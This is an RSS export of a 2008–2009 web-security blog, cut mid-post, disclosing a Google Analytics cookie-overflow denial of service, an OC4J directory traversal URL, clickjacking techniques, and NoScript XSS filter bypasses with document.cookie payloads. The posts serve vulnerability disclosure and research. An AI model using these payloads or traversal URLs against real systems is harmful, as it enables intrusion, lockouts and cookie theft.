So well, one of those cookies is the referer. This is true for "search result - organic referers", like for example, a Google search. The catch is that the detection on google's service is very bad, and we can fool it to think we are a google search result by doing:<br />
<br />
http://google.yourfavoritedomain.com/search?q=search-term<br />
<br />
So, you can guess.. if search-term is big enough we can hack the world.<br />
<br />
Anyway, there's a catch. You can't set such a big cookie. The limit aparently is 4192 bytes. So.. what you have to do is control 2 cookies.<br />
<br />
The other cookie we are going to be using is GASO (Google Analytics Site Overlay), its trigered by the content on<br />
http://yourwebsite.com/page.html#gaso=somevalue<br />
<br />
And well, the google analytics code will set a cookie called GASO to somevalue<br />
<br />
With both vectors we can now set very big cookies! and with those cookies we can disable access to lot of websites to anyone with just a link (or an iframe if you want to improve the stealthness of the attack).<br />
<br />
Twitter PoC:<br />
<a href="http://google.sirdarckcat.net/?v=http://twitter.com/">[google.sirdarckcat.net]</a><br />
<br />
If you use twitter over SSL...<br />
<a href="http://google.sirdarckcat.net/?v=https://twitter.com/">[google.sirdarckcat.net]</a><br />
<br />
To lock you out of all wordpress.com blogs:<br />
<a href="http://google.sirdarckcat.net/?v=http://rofl.wordpress.com/">[google.sirdarckcat.net]</a><br />
Try your favorite Google Analytics powered websites :D<br />
<br />
References:<br />
<a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize">[httpd.apache.org]</a><br />
http://httpd.apache.org/docs/1.3/mod/core.html#limitrequestfieldsize<br />
<a href="http://royal.pingdom.com/2008/05/28/google-analytics-dominate-the-top-500-websites/">[royal.pingdom.com]</a><br />
<br />
Examples:<br />
GASO limit<br />
#gaso=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondago<br />
<br />
SEARCH referer limit<br />
http://google.com/search?q=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogl <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-4516166290217508483?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/kAjqPKsM8kuCpxRe0qCEqN5j4f8/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/ksKYsxiK4lg" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: Oracle Containers For Java Directory Traversal (OC4J) Oracle Application Server 10g (10.1.3.1.0) Oracle HTTP Server</title>
		<link>http://feedproxy.google.com/~r/sirdarckcat/~3/l1svGHpU5eE/oracle-containers-for-java-directory.html</link>
		<pubDate>Mon, 19 Jan 2009 16:27:00 -0600</pubDate>
		<guid>http://feedproxy.google.com/~r/sirdarckcat/~3/l1svGHpU5eE/oracle-containers-for-java-directory.html</guid>
		<content:encoded><![CDATA[	Server Version Info: Oracle-Application-Server-10g/10.1.3.1.0 Oracle-HTTP-Server<br />
PoC: <a href="http://oc4j/web-app/foobar/%c0%ae%c0%ae/WEB-INF/web.xml">[oc4j]</a><br />
Related: <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938">[cve.mitre.org]</a><br />
Explaination: The "%c0%ae%c0%ae" is interpreted as: ".." because on Java's side: "%c0%ae" is interpreted as: "uC0AE" that get's casted to an ASCII-LOW char, that is: ".".<br />
<br />
You can read dangerous configuration information including passwords, users, paths, etc..<br />
Discovered: 8/16/08<br />
Vendor contacted: 8/16/08<br />
Vendor response: 8/18/08<br />
Vendor reproduced the issue: 9/10/08<br />
Vendor last contact: 9/30/08<br />
Public Disclosure: 1/19/09<br />
<br />
Oracle security bug id: 7391479<br />
<br />
For more information contact Oracle Security Team: secalert_us@oracle.com<br />
<br />
I really wanted to give a link to a patch, but I think it's better if this is known by sysadmins so they can filter this using an IDS.<br />
<br />
Greetings!! <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-142778022196408724?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/gS06DZcVMlLL3zQ0WHbgyvDQOzc/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/l1svGHpU5eE" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: About CSS Attacks</title>
		<link>http://sirdarckcat.blogspot.com/2008/10/about-css-attacks.html</link>
		<pubDate>Tue, 21 Oct 2008 09:19:00 -0500</pubDate>
		<guid>http://sirdarckcat.blogspot.com/2008/10/about-css-attacks.html</guid>
		<content:encoded><![CDATA[	<a href="http://www.thespanner.co.uk/">Gareth</a>, <a href="http://p42.us/">David</a> and I went to <a href="http://technet.microsoft.com/en-us/security/cc748656.aspx">Microsoft Bluehat v8</a>, it was pretty fun meeting everyone.<br />
<br />
Gareth described the talk pretty well in here: <a href="http://www.thespanner.co.uk/2008/10/20/bluehat/">[www.thespanner.co.uk]</a>, (<a href="http://www.thespanner.co.uk/wp-content/uploads/2008/10/the_sexy_assassin2ppt.zip">slides</a>) anyway I want to show the stuff we didn't showed at Bluehat because of their no-zeroday policy (even if the vendor wasn't willing to patch).<br />
<br />
So well we have the following clickjacking PoCs, that show different attack techniques.<br />
<br />
Ghost Mirror - GMail PoC<br />
<br />
<a href="http://www.sirdarckcat.net/gmailclickjacking.html">[www.sirdarckcat.net]</a><br />
<br />
Sends an email when you click [Send] (check your sent mails folder).<br />
<br />
This technique works like this:<br />
<br />
You get a copy of the generated HTML code of the target webpage, then you simply hide everything, except for the button you want to overlay.. you could draw other things using absolute positioning, but this is enough for most scenarios.<br />
<br />
You can checkout the "ghost page" here: <a href="http://www.sirdarckcat.net/dad.html">[www.sirdarckcat.net]</a><br />
<br />
This attack has it's pros and it's cons.. the most important pro is that it's the best way of doing cross-browser exploits.. since you don't depend on the sizes, margins, overflow rules etc.. that different browsers use.<br />
<br />
This attack (and PoC) was reported to Google Security Team on Sat, Sep 27, 2008 at 11:37 PM, the response was that it won't be fixed (I'm sure they have more serious issues to take care about).<br />
<br />
Frame Cropping - Twitter PoC<br />
<br />
<a href="http://www.sirdarckcat.net/coconuterror.html">[www.sirdarckcat.net]</a><br />
<br />
This one uses another technique, that is usefull for selecting a specific section of a webpage, this specific PoC is Firefox only, not because the technique is not posible on other browsers, but because you have to make a different exploit for each different browser.<br />
<br />
The way it works is using 2 iframes with a fixed height/width and possition, you only have to positionate the iframe using negative left/top coordinates, once you have that, you crop to the height and width of the button.<br />
<br />
<br />
If that's not possible due to styling specific issues, then you have to use a second iframe that will have a height/width of the size of the button to be overlayed.<br />
<br />
Both iframes must have the CSS properties <b>overflow:hidden;</b> and <b>border: 0</b> (or their HTML attribute equivalent {like frameborder instead of border}).<br />
<br />
This one is sexy :)<br />
<br />
We also have the.. javascript ones.<br />
<br />
Pixel Window - Adobe Flash Webcam PoC<br />
<a href="http://ha.ckers.org/weird/cjdivtest.html"><br />
http://ha.ckers.org/weird/cjdivtest.html</a><br />
<br />
<br />
This one overlays 4 divs leaving a window where the mouse will be clicked.<br />
<br />
<br />
Update to the latest Adobe Flash Player to be protected against this vulnerability.<br />
<a href="http://get.adobe.com/flash">[get.adobe.com]</a>/<br />
<br />
<br />
Mouse Chase - Adobe Flash Webcam PoC<br />
<br />
<a href="http://grack.com/record/">[grack.com]</a><br />
<br />
<br />
The same principle of Pixel Window..but now with the overlay chasing the mouse position.<br />
<br />
<br />
CSS Attribute Reader Source Code<br />
<br />
<br />
<a href="http://eaea.sirdarckcat.net/cssar/v2/?source">[eaea.sirdarckcat.net]</a><br />
<br />
The first version of the reader wont be released yet, maybe later.. sorry.<br />
<br />
This type of attack is relevant, because this could start a new type of attack based on XSS, that could be called Cross Site Styling (since we are not really using a scripting language).<br />
<br />
There's another version, made by Wisec that is also pretty cool, based on meta refreshes, it calculates 1 char per second, <a href="http://www.ruxcon.org.au/presentations.shtml#5">he'll be presenting it soon at ruxcon</a>.<br />
<br />
By the way, I also want to say thanks to the guys that attended <a href="http://1.bp.blogspot.com/_Lks4_cnABGU/SP5mxMXAQrI/AAAAAAAAAW4/k8FEVswTgSQ/s1600-h/bunkent0rtele2.jpg">bunkent0r</a> for their feedback on the presentation.<br />
<br />
Greetz!! <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-1505705376533834915?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/MDhu02ukGKI" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: Symantec Altiris Deployment Solution &lt; 6.9.176  Multiple Vulnerabilities</title>
		<link>http://sirdarckcat.blogspot.com/2008/09/symantec-altiris-deployment-solution.html</link>
		<pubDate>Mon, 29 Sep 2008 12:16:00 -0500</pubDate>
		<guid>http://sirdarckcat.blogspot.com/2008/09/symantec-altiris-deployment-solution.html</guid>
		<content:encoded><![CDATA[	Ok so, this isn't the normal type of vulnerabilities I post here (I'm mostly a webappsec guy), but well, I discovered this elevation of privileges on this product of Symantec (Altiris Deployment Solution), and it was fixed a while ago, but I hadn't the chance to post about it.<br />
<br />
This was researched with Alex Hernandez from <a href="http://www.sybsecurity.com/">sybsecurity.com</a> and from <a href="http://elhacker.net/">elhacker.net</a>.<br />
<br />
The document explaining the vulnerabilities is <a href="http://www.milw0rm.com/papers/201">here</a>.<br />
<br />
And the exploit for the elevation of privileges is <a href="http://www.milw0rm.com/exploits/5625">here</a>.<br />
<br />
This was reported to Symantec ( <a href="mailto:secure@symantec.com">secure@symantec.com</a> ), and they had a very quick and fluent communication with us, they responded fast whenever we asked for information, or had any doubts. The follow-up of this vulnerability has been tracked until today, and so the security team of Symantec is the best one we've met.<br />
<br />
Symantec released an advisory here:<br />
<a href="http://www.symantec.com/avcenter/security/Content/2008.05.14a.html">[www.symantec.com]</a><br />
<br />
Sybsecurity released another one here:<br />
<a href="http://www.sybsecurity.com/advisors/SYBSEC-ADV15-Symantec_Altiris_Client_Privilege_Escalation_Vulnerability">[www.sybsecurity.com]</a><br />
<br />
Greetings!! <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-2545778137895849484?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/oBZ73gXprMw" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: Hacking NoScript</title>
		<link>http://sirdarckcat.blogspot.com/2008/06/hacking-noscript.html</link>
		<pubDate>Fri, 27 Jun 2008 05:16:00 -0500</pubDate>
		<guid>http://sirdarckcat.blogspot.com/2008/06/hacking-noscript.html</guid>
		<content:encoded><![CDATA[	Well, some people have recently asked why I am on some <a href="http://noscript.net/changelog">NoScript release notes</a>.. and that's a good question..<br />
<br />
I haven't released any details on the hacks against NoScript, since most of them where reported privately to <a href="http://maone.net/">Giorgio</a>..<br />
<br />
This is not the exception, I wont release any 0days here, I'll just give the details of the issues that I've reported in the past, and current NoScript users are immune to.<br />
<br />
Is important to say, that Giorgio fixes stuff in "hours", (or minutes in some cases), and he has done some <a href="http://noscript.net/?ver=1.6.9.3&amp;prev=1.6.9.1">crazy stuff</a>, just so NoScript users can be safe, so if you dont use it, go <a href="http://noscript.net/getit">get it</a>.<br />
<br />
So, I'll go on chronological order:<br />
<pre>
v <b>1.1.6.25</b><br />=====================================================================<br />+ Fix for Sirdarckcat's JS redirection trick
</pre><br />
That was.. if a website has an open redirection (like, for example, Google's <a href="http://valleywag.com/tech/google/im-feeling-lucky-button-costs-google-110-million-per-year-324927.php">default open redirection feature</a>), and you have that website as trusted (such as most people I guess they have.. Google).. a embed script on a website, pointing to Google's redirection, will be reported to be "from Google", and it will be loaded and executed.<br />
<br />
This was useful for example, to attackers that were not able to make a self contained XSS payload, and they needed to load the script from their website, but since their website was surely not on their victims whitelist, then the attack would be unsuccesfull.<br />
<br />
Anyway, by means of this, an attacker could be able to do something like the following PoC: <a href="http://www.sirdarckcat.net/hades">[www.sirdarckcat.net]</a><br />
<br />
There I use another redirection on pages.google.com.<br />
<br />
If you use NoScript&gt;=1.1.6.25, this attack will be unsuccesful.<br />
<br />
<pre>
v <b>1.1.7.6</b><br />=====================================================================<br />+ srv.br "special" TLD (thanks Rodrigo Ristow Branco)<br />+ Better protection against "setter" based XSS vectors and encoded<br />"name" payloads (thanks RSnake, Sirdarckcat and Kuza55, see<br />http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/ )<br />+ Improved hidden links management, preserves original body CSS<br />attributes when possible (thanks mdots)<br />
</pre>That was an issue on NoScript XSS payload detection, that <a href="http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html">I discussed some time ago</a>.<br />
<br />
The issue was that NoScript didn't detected setter/getter assignations, and so <a href="http://ha.ckers.org/xss.swf?a=1:setter/**/a=eval,setter/**/b=atob,a=b=name">[ha.ckers.org]</a><br />
<br />
Was able to bypass NoScript filters.<br />
<br />
The xss.swf page was removed by RSnake, and (if you have ha.ckers.org as trusted) you will see NoScript XSS detection alert, if you are using NoScript &gt;=1.1.7.6<br />
<br />
<pre>
<br />v <b>1.1.7.8</b><br />=====================================================================<br />+ JAR uris are forbidden from loading as documents by default, see<br />http://noscript.net/faq#jar for details<br />+ Block untrusted XBL (thanks Sirdarckcat for inspiration)<br />x Various IFrame blocking refinements<br /><br />
</pre>Well, I didnt reported that, I just inspired ma1 (and I dont know the details), but.. I guess that means that now -moz-binding XBL are not loaded if they are hosted on an untrusted website.<br />
<br />
This is probably related to rsnake's hacking attempt.<br />
<br />
<pre>
v <b>1.2.2</b><br />=====================================================================<br />x Changed noscript.filterXGetRx default to make single quote removal<br />happen only after positive injection checks (thanks sirdarckcat for<br />suggestion)
</pre><br />
About that one, it was a bug (not a vulnerability), that removed single quotes from websites, and iframes on some situations.<br />
<br />
Actually I discovered this while visiting kuza55's blog, since the little iframe in the top of blogspot blogs include the blog's title, and his blog title has a single quote.. that created some errors.<br />
<br />
<br />
<pre>
v <b>1.6.9.2</b><br />=====================================================================<br />x Fixed Injection Checker checking ASCII 43 as a "plus" sign but not<br />as a www-form-encoded space (thanks Sirdarckcat for report)<br />x Google search anti-XSS exception now checks for real TLDs, rather<br />than short 2nd level domains (thanks Sirdarckcat for report)<br />+ Refactored unescaping flow, allowing for easier extension<br />+ Ebay-style unescaping
</pre><br />
That's detailed on <a href="http://sla.ckers.org/">sla.ckers</a>, here:<br />
<a href="http://sla.ckers.org/forum/read.php?12,17238,page=2#msg-22925">[sla.ckers.org]</a><br />
<br />
I'll quote my message:<br />
<blockquote>
  <p>
    Re: Hacking noscript Posted by: <a href="http://sla.ckers.org/forum/profile.php?12,979">sirdarckcat</a> (IP Logged) Date: June 16, 2008 04:02AM<br />
    Ah! hacking noscript?<br />
    <br />
    thats easy..<br />
    [<a href="http://trustedsite.com/?xss-inside-script-tag=%27%2Balert%28document.cookie%29+//a:1">trustedsite.com</a>]<br />
    <br />
    for example.. (eBay has a XSS issue very similar to the one I'm describing (well, actually, a lot of sites, but eBay rocks))<br />
    <br />
  </p>
  <pre>
<br />var x='';<br />
</pre><br />
  But duuuude!! what's happening?<br />
  <br />
  Well, NoScript thinks, that.. "+" is a plus.. but in reality.. "+" is a space, and so..<br />
  <br />
  var x=''+alert(document.cookie) //a:';<br />
  <br />
  is valid js code! (damn, I'm good, 10 minutes to hack NoScript :D)<br />
  <br />
  Greetz!!<br />
  <br />
  PS. It's a joke, noscript is great :P, and even do I did spent 10 minutes to find the issue, it was because I had this idea for attacking noscript since a couple of months ago, but I didnt tested it till today.<br />
  <br />
  <br />
  but WAIT!!<br />
  thats all?<br />
  <br />
  The hell it isn't!! (anyway, this last attack is not so dangerous, since it requires user interaction [enabling javascript on an untrusted domain])<br />
  <br />
  Let's take a look at NoScript's default anti-xss rules:<br />
  ^[url]http://[/url]([a-z]+).google.(?:[a-z]{1,3}.)?[a-z]+/(?:search|custom|1)?<br />
  <br />
  That means, well.. that:<br />
  [<a href="http://images.google.com/search?asdfasdf=%3Cscript%3E&amp;q=Asdf">images.google.com</a>]<br />
  <br />
  Will bypass NoScript (because we all trust google =D), but.. wait.. that's for google domains exclusively right?<br />
  <br />
  Well, wrong!! because, well.. 20 bux, we can get a 3 letter domain [<a href="http://www.3character.com/recentsales.html">www.3character.com</a>]<br />
  <br />
  And so do:<br />
  <br />
  [<a href="http://www.google.xss.com/customcustom%3Fasdf%2F..%2F?some-host-not-checking-for-Host-headers=%3Cscript%3E">www.google.xss.com</a>]<br />
  <br />
  Pointing google.xss.com to your router or something.<br />
  <br />
  There's an issue with this last attack.. NoScript does his job, and automatically denies google.xss.com.. anyway, enabling javascript in such domain (social engineering) would allow the attacker to send evil XSS attacks to your router/intranet what-ever.<br />
  <br />
  Anyway, hacking noscript is fun :D<br />
  <br />
  And in any case someone wondered..<br />
  <br />
  [<a href="http://search.ebay.com/search/search.dll?_trksid=&amp;satitle=ME+XSS+U&amp;category0=&amp;from=%27%2Balert%28document.cookie%29%2B%27">search.ebay.com</a>]<br />
  <br />
  And yeah, that's not triggering noscript alarms :D<br />
  <br />
  Greetz!!
</blockquote><br />
And after all, this is ma1 response (where he uncovered that eBay uses a weird Q encoding, I didn't saw):<br />
<br />
<blockquote>
  <p>
    Re: Hacking noscript Posted by: <a href="http://sla.ckers.org/forum/profile.php?12,615">ma1</a> (IP Logged) Date: June 16, 2008 09:36AM<br />
    <a href="http://noscript.net/changelog#1.6.9.2">FIXED</a><br />
    <br />
    Now that it's fixed, I'll explain my innuendo to Ebay's "scary and brainless" issue, which reminds me closely last month's Base64 Yahoo one.<br />
    <br />
    Your PoC was<br />
    <br />
    <a href="http://search.ebay.com/search/search.dll?_trksid=&amp;satitle=ME+XSS+U&amp;category0=&amp;from=%27%2Balert%28document.cookie%29%2B%27">hxxp://search.ebay.com/search/search.dll?_trksid=&amp;satitle=ME+XSS+U&amp;category0=&amp;from=%27%2Balert(document.cookie)%2B%27</a><br />
    <br />
    and it did not bypass NoScript. I guess you meant to write it in the "mixed plus" form, but this is not.<br />
    <br />
    But here's the truly scary one:<br />
    <br />
    <a href="http://search.ebay.com/ME-XSS-U_W0QQfromZQ27Q2balertQ28documentQ2ecookieQ29Q2bQ27">[search.ebay.com]</a><br />
    <br />
    As you can see, ebay uses its own custom "Q-encoding", allowing XSS payloads virtually undetectable to any filter, <i>except</i> NoScript &gt;= 1.6.9.2 ;)<br />
    <br />
    IMPORTANT REQUEST (rules change)<br />
    Since as far as I can see NoScript now is actively used by more than 1.5 million users, it would be kind of you if new issues were responsibly disclosed to me before posting them there.<br />
    I guarantee to handle them the very same day I read your report and to publish a development build with proper credits, but since one week is probably the minimum user-bearable window for automatic updates on stable releases, a 7 days grace period would be nice as a compromise to avoid an excessively tight update schedule for stable version users.
  </p>
</blockquote>And <a href="http://www.php-ids.org/">PHPIDS</a> now supports Qencoding decripting btw :P<br />
<br />
<br />
<pre>
v <b>1.6.9.8</b><br />=====================================================================<br />x Restored the noscript.forbidData preference to its orginal "true"<br />default value (thanks Sirdarckcat for reporting an issue in the<br />about:blank context prevented by this change)
</pre><br />
And this one, the latest, is about a way of executing javascript even on untrsuted domains, if you can get your users to click while holding Ctrl.<br />
<br />
This are the e-mails:<br />
<blockquote>
  <p>
    <b>/(?:Ctrl|Shift)[::click::]/.test(NoScript);</b><br />
    9 messages
  </p>
  <table>
    <tr>
      <td>
        <b>Eduardo Vela</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 7:07 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Giorgio Maone
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              Hi Giorgio!<br />
              <br />
              I've found out that NoScript allows javascript code execution on untrusted sites if you make your visitor click Control or Shift, and click on a page.<br />
              <br />
              I've mounted a PoC:<br />
              <a href="http://www.sirdarckcat.net/aw.html">[www.sirdarckcat.net]</a><br />
              <br />
              Hold Control and then click somewhere.<br />
              <br />
              The script runs on about:blank context.. so it's not so, so, dangerous, but anyway..<br />
              <br />
              Greetings!!<br />
              <br />
              --<br />
              Arnold Schwarzenegger - "I have a love interest in every one of my films - a gun."
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
